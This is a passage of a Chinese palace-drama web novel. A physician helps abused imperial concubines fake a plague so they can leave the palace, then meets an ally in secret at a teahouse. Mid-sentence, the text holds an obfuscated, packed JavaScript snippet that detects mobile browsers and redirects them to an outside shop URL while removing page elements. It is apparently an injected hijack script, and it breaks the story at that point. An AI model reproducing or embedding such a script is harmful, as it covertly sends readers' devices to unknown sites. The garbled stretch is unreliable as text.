她又追着白羽歆问了很多关于母亲的问题,知道皇城司四处烧杀劫掠,无恶不作,她一副了然于心的表情:“我就知道这帮人还改不了作恶的习惯。” 当她得知母亲和知县相识,知县会保障她的安全时,难得放心下来。 煎药的时间到了,白羽歆起身告辞。赵念儿将白羽歆送到门口,两人依依不舍地分别。 煎药的时候,白羽歆忍不住思考,既然后宫中的大家都不是自愿待在这里的,那是不是说有可利用的空间呢? 其实白羽歆很想现在就动手,可条件不允许,只能忍耐着。 这样的日子又过了几日,一次出门时,有个负责洒扫的小宫女撞了白羽歆一下,行迹匆匆地离开了,连句道歉的话都没有。 白羽歆直呼倒霉,却发现袖口被塞了一张小纸条。她神经紧绷起来,直到到了没有人的地方才展开纸条。 看着纸条上的内容,白羽歆顿时觉得人生又有希望了。 中午,刚吃过午饭,几个太医走出门口,看上去极为慌张。 出于好奇,白羽歆跟出去看。 “颖妃娘娘,您怎么来了?少废话,听说你们这里来了个女医,把她叫出来,去我宫里一趟。” “娘娘,不是我们不叫她,可......” 白羽歆顺势走出来。 “我在这里,有什么事吗?” 15. 第 15 章 见白羽歆来了,颖妃的态度瞬间变了。 她客客气气道:“听说白太医心地善良,前几日刚刚医好了九公主。我宫中的慧嫔身体抱恙,不知可否请白太医来一趟?” 白羽歆略微思索了一下,询问道:“颖妃娘娘,请问慧嫔生了什么病。” 颖妃带着白羽歆寻了个僻静处,附在她耳边小声说了几句。白羽歆脸上流露出不忍,进入太医院找药去了。 到了颖妃居住的宁春宫,白羽歆本来以为要去慧嫔居住的偏殿,颖妃却领着她往主屋走。 走进屋子里,宫女神神秘秘地关上门,跟颖妃交代了一下慧嫔的情况,就退到一边去了。 “你怎么样,还是很疼吗?”颖妃焦急地问。 只见慧嫔露出来的皮肤上,尽是大大小小的淤青,有的地方甚至刮了口子,看上去伤得很严重。 白羽歆拿出药来,捣碎了敷在慧嫔身上。 慧嫔还没说些什么,颖妃先掉了眼泪,她一边抓着慧嫔的手,一面痛骂皇帝。 颖妃和慧嫔虽然来自不同的地方,但因为是同一批进宫的,所以彼此相互关照。慧嫔心思单纯总被欺负,颖妃最擅长与人争论,从未败下阵来。二人在这宫中相互扶持,几年间倒也成了宫里的高位嫔妃。 慧嫔心直口快,偏偏生得貌美,每次被召去侍寝,总会因为一些小事惹得皇上不快。也许是因为最近皇上身体每况愈下,这次居然如此动怒。 颖妃看着慧嫔身上的伤痕,眼泪如雨般落下。 慧嫔用手抚上颖妃的脸,出身安慰:“没事了,你看,我不是还好好的吗。” 白羽歆不忍再看,处理完伤口就要告辞。宫女引着她往外走,白羽歆却注意到一旁花瓶里开得正盛的花。 “颖妃娘娘,这花开的真好,可否告诉民女这是什么花?”白羽歆提高了声调。 颖妃看了一眼花瓶里的花,毫不在意地说:“哦,家父之前寄过来的,没想到现在居然长的这么好,不过是家乡寻常的野花罢了。” 白羽歆之前看过一本医学典籍, “那颖妃娘娘可要当心,小女听说这花若是磨成粉敷在身上,便会落下黄色印记,像极了疫病,可要足足七日才能消下去呢。” 说完,白羽歆就离开了这里。 颖妃愣在原地,从方才白羽歆的话里琢磨出几分意思。 “不如我们就......”慧嫔这是开口说话了。 颖妃点点头,叫了一个宫女过来:“去准备纸笔,本宫要写封家书。” 在家书中,颖妃提及自己思念家乡的花,希望父亲可以命人多寄来一些。 — 过了几夜,宴崇翻了颖妃的牌子,可是片刻之后,张福海急匆匆赶过来。 “皇上,颖妃娘娘似乎生病了,身上满是黄斑,就像......得了疫病一般。” 宴崇心里有些恼火,又翻了另一个妃子的牌子,结果过了一会儿,还是和方才一样的回答。 勉强压制住内心的火气,宴崇又翻了其他人的牌子,可不管是谁,都是同一套说辞。 “拿朕当傻子吗?”宴崇掀翻了桌子,吓得张福海和其他太监跪倒在地。 “皇上,您消消气啊皇上!” 眼见宴崇气势汹汹地走出门外,张福海连忙连滚带爬地从地上起来,紧跟着宴崇。 他来到颖妃宫里,又宫女拦在门外。 “皇上,我们娘娘患病在身,您进去,万一被传染——” 宴崇不耐烦地推开宫女,走了进去。 到了屋里,见颖妃躺在床上,用被子将整个人都包裹起来,宴崇发出一声冷笑。 他猛地掀开被子,却迎面看见颖妃脸上以及脖子上确实长了很多黄斑。 宴崇颇为嫌弃地松开手,转身走去了别的寝殿。就像传出来的消息一样,那些妃子的确身上遍布黄斑。 宴崇派了太医诊治,想看看她们是不是真的病了。那太医看上去经验不足,摸着下巴,看不出个所以然来。 “回皇上,这种病症微臣未曾见过,可能的确是有疫病。” 一听太医说有疫病,张福海急起来,极力劝说宴崇送患病的妃子们出宫疗养。 “皇上,您当心龙体,可别让她们传染给您啊。” 该说不说,张福海的动作真的很快。第二天,颖妃和慧嫔跟白羽歆在宫门处告别。 “谢谢你,要不是你出的主意,我们都不知道怎么办才好。”颖妃握着白羽歆的手,脸上满是藏不住的欣喜。 “没什么,对我来说不过是举手之劳。”白羽歆表现得很客气。 她们这些妃子会被送到皇室的避暑山庄里,就当是出宫疗养了,转换一下心情也是好的。 望着颖妃和慧嫔离去的背影,白羽歆发觉已经在宫中过了一个月。皇帝已经初步信任她,看来可以开始考虑下一步。 当天夜晚,黑漆漆的紫禁城看起来分外可怕。大约是因为许多人都离开了,所以很寂静,连往日的声音都听不到了。 白羽歆躺在床上,却怎么也睡不着。 她申请第二天出宫,理由是采买药材。太医院虽说有药物储备,但到底还是不太全面,比如白羽歆在景州常用的药草,在太医院绝对找不到。 当然,采买药材只是一个借口。 第二日天还蒙蒙亮,白羽歆就出宫了。面对侍卫的检查,她十分淡定地掏出出宫令牌,检查无误后侍卫放行。 她按照之前收到的纸条上约定的地点,那是一处茶楼。 她刚进去,茶楼的老板便引着她来到二楼的一个房间。 厉玦在里面等候多时。 见白羽歆来了,厉玦眼睛都比往日更明亮。 他们交流了一下情报,当厉玦得知孙婆婆的女儿找到了,就是后宫里的淑妃时,惊讶了一番。 “赵念儿没事就好。”听说淑妃如今在后宫身居高位,厉玦也算是放下心来。他当然知道身处后宫,伴君如伴虎,万一行差踏错,后果将是万劫不复。 但只要人活着,总还有希望。 白羽歆从随身携带的口袋里掏出一些东西,厉玦定睛一看,居然是白花花的银子。 “这是淑妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648994|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我转交给孙婆婆的。” 得知白羽歆要出宫一日后,淑妃找到她,交给她许多东西,让她帮忙转交给她的母亲。 当然,淑妃还给白羽歆塞了不少银钱当作感谢,她当然不会收,极力拒绝。 白羽歆想将孙婆婆送给她的首饰还给淑妃,淑妃却显得很惆怅。 “留在我身边只会徒增伤感。”淑妃淡淡说了这句话,脸上却是止不住的忧愁。 白羽歆当然理解一个人思念家乡的情感,她自己也常常在忙碌的间隙里伤感。不知道她原来的世界怎么样了,她的身体是不是已经宣告死亡了,父母会不会伤心。 “对了——”白羽歆话题一转,问出了最感兴趣的事,“柳翠最近怎么样了。” 她有时候也会想柳翠,在景州那个小村庄里和柳翠还有她的家人住在一起的时光简直恍如隔世。 直到现在,她一想起柳翠父母还有整个村子的惨状,还是对皇帝宴崇有些难以抑制的杀意。 那个人......只要杀了那个人,一切总可以转好的。 “柳翠姑娘在你刚离开的几天里愁眉不展,吃不下饭睡不着觉,不过过了几日就开始用药草帮助其他人了。”厉玦笑了笑,“看来柳翠姑娘跟着你学了不少知识呢。” 白羽歆也很欣慰,脸上露出浅浅的笑容,“是吗?她真是成长了不少呢。” 提起柳翠的成长,白羽歆也感觉很痛心。她不过还是个孩子,却被迫经历父母早逝的痛苦,被迫成长起来。 “不过,柳翠她现在开始种地了。” “种地?种了什么?”白羽歆很好奇。 见白羽歆被他的话吸引,厉玦却神神秘秘,非要让她猜一下。 一连说了好几种常见农作物,厉玦都说不对,白羽歆最后败下阵来,厉玦才开口。 “她在种药草,还带着附近的街坊邻居一起。”景州附近山头的药草都快被薅秃了,看来是应该再种一些。 白羽歆也笑了笑,这一次是有些不好意思的笑。她之前为了行医拔了不少山上的药草,皇城司也糟蹋了不少,山上确实应该再种一些药草了。 正思索着,白羽歆却忽然瞥见厉玦拿出一个装饰精美的盒子。 在白羽歆好奇的视线中,厉玦打开了盒子。 “这是我送给白姑娘的一点心意,请你千万不要拒绝。” 白羽歆惊讶地看到,盒子里正装着她很久之前当掉的簪子。 当时她对柳翠说,首饰总会回来的。其实她想的是等什么时候手头宽裕再赎回来。可她怎么也没想到,那簪子会以这种形式回到她手中。 “几天前我想着既然要与你见面,总应该带些礼物,就和柳翠姑娘一同去了集市。” 厉玦在集市里挑花了眼,却听柳翠说:“这不是之前姐姐当掉的簪子吗?” 厉玦听说未出阁的姑娘都很宝贝自己的首饰,当时选择当掉它一定是遇到了困难。所以,厉玦买下了它,将这簪子重新送回白羽歆手中。 在白羽歆惊讶的视线中,厉玦亲手将那精致华美的簪子别在白羽歆的发髻上。